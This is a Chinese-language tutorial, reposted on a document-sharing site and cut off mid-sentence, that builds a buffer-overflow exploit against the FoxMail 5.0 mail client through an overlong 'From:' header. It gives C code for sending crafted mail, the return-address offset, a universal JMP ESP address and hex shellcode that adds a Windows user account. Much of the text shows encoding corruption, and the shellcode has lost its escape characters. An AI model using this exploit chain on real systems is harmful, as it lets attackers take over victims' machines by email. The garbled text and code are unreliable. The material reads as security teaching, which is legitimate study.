資源描述:
《foxmail的緩沖區(qū)溢出漏洞攻擊示例》由會員上傳分享,免費(fèi)在線閱讀,更多相關(guān)內(nèi)容在行業(yè)資料-天天文庫。
1、FoxMail的漏洞漏洞分析從上圖可以看出,有問題的的版本是FoxMail5.0。漏洞公告還會給出大概的問題分析。上圖就說到了,有問題的東東是punylib.dll。安裝了FoxMail后,我們可以在安裝目錄的3rdParty子目錄下發(fā)現(xiàn)它。如下圖。從漏洞公告和分析中,我們可以知道,是FoxMail在處理From:字段時(shí)允許的長度(0x200)超過了緩沖區(qū)分配的長度,從而導(dǎo)致了緩沖區(qū)溢出。但如何寫該緩沖區(qū)溢出漏洞的利用程序呢?1.有問題程序返回點(diǎn)的精確位置――我們可以把它覆蓋成任意地址。2.ShellCode――一個(gè)提供給我們想要的功能的代碼。3.JMPESP的
2、地址――把返回點(diǎn)覆蓋JMPESP的地址,這樣可跳入ShellCode。定位溢出點(diǎn)從漏洞公告和漏洞分析中我們可以知道,郵件的‘From:’字段太長就會覆蓋到返回地址,那我們就寫一個(gè)初步的溢出程序框架FoxMail1.c,來逐步定位返回點(diǎn)的位置。這個(gè)程序很簡單,就是往郵箱發(fā)一封信,而且只有‘From:’字段。在程序的FoxMail1.c中,我們對‘From:’字段進(jìn)行填充。我們先填充0x150個(gè)A試試?!飉emset(buffer,0x41,0x150);sprintf(temp,"From:%sr",buffer);send(sock,temp,strlen
3、(temp),0);★然后執(zhí)行程序,發(fā)送成功!如下圖所示。然后我們用FoxMail接收郵件,如下圖。我們覆蓋了0x150個(gè)A,可能不僅覆蓋過了EIP的地方,而且還覆蓋了其他一些程序要用的參量,如果在程序返回前,要對那些參量改寫,但參量的地址被改成‘41414141’,是根本不能寫的,所以就造成了寫(write)類型錯(cuò)誤!我們把‘From:’字段覆蓋短一點(diǎn),要覆蓋到返回地址,但不要覆蓋到那些參量地址。這里我們采用二分法:即先前0x150太長,就改成0x75,如果0x75太短,不能覆蓋返回地址沒有報(bào)錯(cuò),那又改長一點(diǎn),改成0x115的長度,以此類推。當(dāng)我們覆蓋到0x1
4、04時(shí),我們想要的結(jié)果出現(xiàn)了!如下圖。★memset(buffer,0x41,0x104);sprintf(temp,"From:%sr",buffer);send(sock,temp,strlen(temp),0);★現(xiàn)在出現(xiàn)了Read錯(cuò)誤!說明我們填充‘From:’字段時(shí)不能超過0x104的長度。解決了這個(gè)問題,我們繼續(xù)想辦法定位返回點(diǎn)的位置。——根據(jù)報(bào)錯(cuò)信息直接數(shù)出來。方法:。。。。結(jié)果:程序的返回點(diǎn)位置是‘From:’字段第256開始的四個(gè)字節(jié)。驗(yàn)證:memset(buffer,'A',0x104);buffer[256]='B';buffer[2
5、57]='B';buffer[258]='B';buffer[259]='B';設(shè)計(jì)ShellCode以下是中文Win2000SP2下添加名為‘w’用戶的ShellCode。charShellCode[]="x8BxE5x55x8BxECx33xFFx57x57x57x57xC7x45xF1x6Ex65""x74x20xC7x45xF5x75x73x65x72xC7x45xF9x20x77x20x2E""x80x45xFCx01xC6x45xFDx61xC6x45xFEx64
6、x33xC0x88x45""xFFx8Dx45xF1x50xB8x4Ax9Bx01x78xFFxD0";通用的JMPESP地址中文版Win2000、XP、Win2003的JMPESP通用跳轉(zhuǎn)地址:0x7ffa4512。三國歸一現(xiàn)在,萬事倶備(溢出攻擊的三個(gè)條件都已具備),只欠整合了。根據(jù)所學(xué)知識,我們知道‘From:’字段作如下構(gòu)造就可跳入我們的ShellCode。但是,這樣和最開始我們覆蓋0x150個(gè)‘A’測試時(shí)是類似的,ShellCode會把程序要寫的參量覆蓋了,那程序在返回之前,會產(chǎn)生那個(gè)write型錯(cuò)誤!解決方法之一:把S
7、hellCode放在前面!根本不覆蓋參量。就是說,我們把ShellCode放在RET前的緩沖區(qū)中,而在RET后面放入很短的一個(gè)指令,指令的內(nèi)容就是往前跳,跳到前面的ShellCode中?!霸谶@樣的格式下,返回時(shí)程序就會先執(zhí)行JMP–0x80這個(gè)指令,往前跳到一堆空指令中,然后順著空指令往下執(zhí)行,最后進(jìn)入到ShellCode中,就可執(zhí)行我們的ShellCode了?!弊詈?,我們按照這個(gè)格式,給漏洞以最后一擊,寫出最終的利用程序――Exploit?。ㄕ垍⒁姟白罱K的FoxMail溢出利用程序”。我們先把郵箱清空,編譯FoxMail.c并執(zhí)行,再用FoxMail接收郵件。
8、只要一接收,就會在本機(jī)上